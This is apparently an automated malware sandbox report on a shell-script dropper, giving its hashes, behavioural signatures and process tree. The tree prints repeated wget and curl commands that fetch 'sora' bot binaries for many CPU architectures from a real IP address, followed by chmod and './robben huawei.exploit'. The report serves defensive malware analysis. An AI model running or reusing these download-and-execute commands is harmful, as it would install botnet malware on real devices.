Analysis

  • max time kernel
    12s
  • max time network
    13s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18/10/2024, 02:36

General

  • Target

    bc48383983fbe820e527ea931c655dd220fd7c2978e2cd746c72aeb0d739a300.sh

  • Size

    2KB

  • MD5

    8fcfb30b099ea7ed97a91208fa96c1b4

  • SHA1

    c16ecb9186d8468336f7c654d5b214eb9300d87e

  • SHA256

    bc48383983fbe820e527ea931c655dd220fd7c2978e2cd746c72aeb0d739a300

  • SHA512

    7df9e9bd9cb248605ec8defd1082b4ae474ad7d8b2170d213bdd82819156b4b8003149472e8099d62dd2685a038514da672bbe9ac0e60842286ae644ee7014c6

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • Checks CPU configuration 1 TTPs 14 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 28 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bc48383983fbe820e527ea931c655dd220fd7c2978e2cd746c72aeb0d739a300.sh
    /tmp/bc48383983fbe820e527ea931c655dd220fd7c2978e2cd746c72aeb0d739a300.sh
    1⤵
    • Writes file to tmp directory
    PID:652
    • /usr/bin/wget
      wget http://93.123.85.141/bins/sora.x86
      2⤵
        PID:654
      • /usr/bin/curl
        curl -O http://93.123.85.141/bins/sora.x86
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        PID:662
      • /bin/cat
        cat sora.x86
        2⤵
          PID:672
        • /bin/chmod
          chmod +x bc48383983fbe820e527ea931c655dd220fd7c2978e2cd746c72aeb0d739a300.sh robben systemd-private-6aaa57480b2c430fa38db9d8e082a72f-systemd-timedated.service-pKCtoQ
          2⤵
          • File and Directory Permissions Modification
          PID:676
        • /tmp/robben
          ./robben huawei.exploit
          2⤵
          • Executes dropped EXE
          PID:678
        • /usr/bin/wget
          wget http://93.123.85.141/bins/sora.mips
          2⤵
          • System Network Configuration Discovery
          PID:680
        • /usr/bin/curl
          curl -O http://93.123.85.141/bins/sora.mips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:683
        • /bin/cat
          cat sora.mips
          2⤵
          • System Network Configuration Discovery
          PID:687
        • /bin/chmod
          chmod +x bc48383983fbe820e527ea931c655dd220fd7c2978e2cd746c72aeb0d739a300.sh robben systemd-private-6aaa57480b2c430fa38db9d8e082a72f-systemd-timedated.service-pKCtoQ
          2⤵
          • File and Directory Permissions Modification
          PID:688
        • /tmp/robben
          ./robben huawei.exploit
          2⤵
          • Executes dropped EXE
          PID:690
        • /usr/bin/wget
          wget http://93.123.85.141/bins/sora.x86_64
          2⤵
            PID:692
          • /usr/bin/curl
            curl -O http://93.123.85.141/bins/sora.x86_64
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            PID:694
          • /bin/cat
            cat sora.x86_64
            2⤵
              PID:695
            • /bin/chmod
              chmod +x bc48383983fbe820e527ea931c655dd220fd7c2978e2cd746c72aeb0d739a300.sh robben systemd-private-6aaa57480b2c430fa38db9d8e082a72f-systemd-timedated.service-pKCtoQ
              2⤵
              • File and Directory Permissions Modification
              PID:696
            • /tmp/robben
              ./robben huawei.exploit
              2⤵
              • Executes dropped EXE
              PID:697
            • /usr/bin/wget
              wget http://93.123.85.141/bins/sora.i468
              2⤵
                PID:699
              • /usr/bin/curl
                curl -O http://93.123.85.141/bins/sora.i468
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                PID:700
              • /bin/cat
                cat sora.i468
                2⤵
                  PID:701
                • /bin/chmod
                  chmod +x bc48383983fbe820e527ea931c655dd220fd7c2978e2cd746c72aeb0d739a300.sh robben systemd-private-6aaa57480b2c430fa38db9d8e082a72f-systemd-timedated.service-pKCtoQ
                  2⤵
                  • File and Directory Permissions Modification
                  PID:702
                • /tmp/robben
                  ./robben huawei.exploit
                  2⤵
                  • Executes dropped EXE
                  PID:703
                • /usr/bin/wget
                  wget http://93.123.85.141/bins/sora.i686
                  2⤵
                    PID:705
                  • /usr/bin/curl
                    curl -O http://93.123.85.141/bins/sora.i686
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    PID:706
                  • /bin/cat
                    cat sora.i686
                    2⤵
                      PID:725
                    • /bin/chmod
                      chmod +x bc48383983fbe820e527ea931c655dd220fd7c2978e2cd746c72aeb0d739a300.sh robben systemd-private-6aaa57480b2c430fa38db9d8e082a72f-systemd-timedated.service-pKCtoQ
                      2⤵
                      • File and Directory Permissions Modification
                      PID:727
                    • /tmp/robben
                      ./robben huawei.exploit
                      2⤵
                      • Executes dropped EXE
                      PID:729
                    • /usr/bin/wget
                      wget http://93.123.85.141/bins/sora.mpsl
                      2⤵
                        PID:732
                      • /usr/bin/curl
                        curl -O http://93.123.85.141/bins/sora.mpsl
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        PID:735
                      • /bin/cat
                        cat sora.mpsl
                        2⤵
                          PID:739
                        • /bin/chmod
                          chmod +x bc48383983fbe820e527ea931c655dd220fd7c2978e2cd746c72aeb0d739a300.sh robben systemd-private-6aaa57480b2c430fa38db9d8e082a72f-systemd-timedated.service-pKCtoQ
                          2⤵
                          • File and Directory Permissions Modification
                          PID:740
                        • /tmp/robben
                          ./robben huawei.exploit
                          2⤵
                          • Executes dropped EXE
                          PID:742
                        • /usr/bin/wget
                          wget http://93.123.85.141/bins/sora.arm4
                          2⤵
                            PID:744
                          • /usr/bin/curl
                            curl -O http://93.123.85.141/bins/sora.arm4
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            PID:747
                          • /bin/cat
                            cat sora.arm4
                            2⤵
                              PID:752
                            • /bin/chmod
                              chmod +x bc48383983fbe820e527ea931c655dd220fd7c2978e2cd746c72aeb0d739a300.sh robben systemd-private-6aaa57480b2c430fa38db9d8e082a72f-systemd-timedated.service-pKCtoQ
                              2⤵
                              • File and Directory Permissions Modification
                              PID:753
                            • /tmp/robben
                              ./robben huawei.exploit
                              2⤵
                              • Executes dropped EXE
                              PID:755
                            • /usr/bin/wget
                              wget http://93.123.85.141/bins/sora.arm5
                              2⤵
                                PID:758
                              • /usr/bin/curl
                                curl -O http://93.123.85.141/bins/sora.arm5
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                PID:763
                              • /bin/cat
                                cat sora.arm5
                                2⤵
                                  PID:766
                                • /bin/chmod
                                  chmod +x bc48383983fbe820e527ea931c655dd220fd7c2978e2cd746c72aeb0d739a300.sh robben systemd-private-6aaa57480b2c430fa38db9d8e082a72f-systemd-timedated.service-pKCtoQ
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:768
                                • /tmp/robben
                                  ./robben huawei.exploit
                                  2⤵
                                  • Executes dropped EXE
                                  PID:769
                                • /usr/bin/wget
                                  wget http://93.123.85.141/bins/sora.arm6
                                  2⤵
                                    PID:773
                                  • /usr/bin/curl
                                    curl -O http://93.123.85.141/bins/sora.arm6
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    PID:775
                                  • /bin/cat
                                    cat sora.arm6
                                    2⤵
                                      PID:777
                                    • /bin/chmod
                                      chmod +x bc48383983fbe820e527ea931c655dd220fd7c2978e2cd746c72aeb0d739a300.sh robben systemd-private-6aaa57480b2c430fa38db9d8e082a72f-systemd-timedated.service-pKCtoQ
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:778
                                    • /tmp/robben
                                      ./robben huawei.exploit
                                      2⤵
                                      • Executes dropped EXE
                                      PID:779
                                    • /usr/bin/wget
                                      wget http://93.123.85.141/bins/sora.arm7
                                      2⤵
                                        PID:781
                                      • /usr/bin/curl
                                        curl -O http://93.123.85.141/bins/sora.arm7
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        PID:796
                                      • /bin/cat
                                        cat sora.arm7
                                        2⤵
                                          PID:799
                                        • /bin/chmod
                                          chmod +x bc48383983fbe820e527ea931c655dd220fd7c2978e2cd746c72aeb0d739a300.sh robben systemd-private-6aaa57480b2c430fa38db9d8e082a72f-systemd-timedated.service-pKCtoQ
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:801
                                        • /tmp/robben
                                          ./robben huawei.exploit
                                          2⤵
                                          • Executes dropped EXE
                                          PID:803
                                        • /usr/bin/wget
                                          wget http://93.123.85.141/bins/sora.ppc
                                          2⤵
                                            PID:805
                                          • /usr/bin/curl
                                            curl -O http://93.123.85.141/bins/sora.ppc
                                            2⤵
                                            • Checks CPU configuration
                                            • Reads runtime system information
                                            PID:808
                                          • /bin/cat
                                            cat sora.ppc
                                            2⤵
                                              PID:819
                                            • /bin/chmod
                                              chmod +x bc48383983fbe820e527ea931c655dd220fd7c2978e2cd746c72aeb0d739a300.sh robben systemd-private-6aaa57480b2c430fa38db9d8e082a72f-systemd-timedated.service-pKCtoQ
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:820
                                            • /tmp/robben
                                              ./robben huawei.exploit
                                              2⤵
                                              • Executes dropped EXE
                                              PID:821
                                            • /usr/bin/wget
                                              wget http://93.123.85.141/bins/sora.ppc440fp
                                              2⤵
                                                PID:823
                                              • /usr/bin/curl
                                                curl -O http://93.123.85.141/bins/sora.ppc440fp
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                PID:824
                                              • /bin/cat
                                                cat sora.ppc440fp
                                                2⤵
                                                  PID:825
                                                • /bin/chmod
                                                  chmod +x bc48383983fbe820e527ea931c655dd220fd7c2978e2cd746c72aeb0d739a300.sh robben systemd-private-6aaa57480b2c430fa38db9d8e082a72f-systemd-timedated.service-pKCtoQ
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:826
                                                • /tmp/robben
                                                  ./robben huawei.exploit
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:827
                                                • /usr/bin/wget
                                                  wget http://93.123.85.141/bins/sora.m68k
                                                  2⤵
                                                    PID:829
                                                  • /usr/bin/curl
                                                    curl -O http://93.123.85.141/bins/sora.m68k
                                                    2⤵
                                                    • Checks CPU configuration
                                                    • Reads runtime system information
                                                    PID:830
                                                  • /bin/cat
                                                    cat sora.m68k
                                                    2⤵
                                                      PID:831
                                                    • /bin/chmod
                                                      chmod +x bc48383983fbe820e527ea931c655dd220fd7c2978e2cd746c72aeb0d739a300.sh robben systemd-private-6aaa57480b2c430fa38db9d8e082a72f-systemd-timedated.service-pKCtoQ
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:832
                                                    • /tmp/robben
                                                      ./robben huawei.exploit
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:833
                                                    • /usr/bin/wget
                                                      wget http://93.123.85.141/bins/sora.sh4
                                                      2⤵
                                                        PID:835
                                                      • /usr/bin/curl
                                                        curl -O http://93.123.85.141/bins/sora.sh4
                                                        2⤵
                                                        • Checks CPU configuration
                                                        • Reads runtime system information
                                                        PID:836
                                                      • /bin/cat
                                                        cat sora.sh4
                                                        2⤵
                                                          PID:837
                                                        • /bin/chmod
                                                          chmod +x bc48383983fbe820e527ea931c655dd220fd7c2978e2cd746c72aeb0d739a300.sh robben systemd-private-6aaa57480b2c430fa38db9d8e082a72f-systemd-timedated.service-pKCtoQ
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:838
                                                        • /tmp/robben
                                                          ./robben huawei.exploit
                                                          2⤵
                                                          • Executes dropped EXE
                                                          PID:839

                                                      Network

                                                            MITRE ATT&CK Enterprise v15

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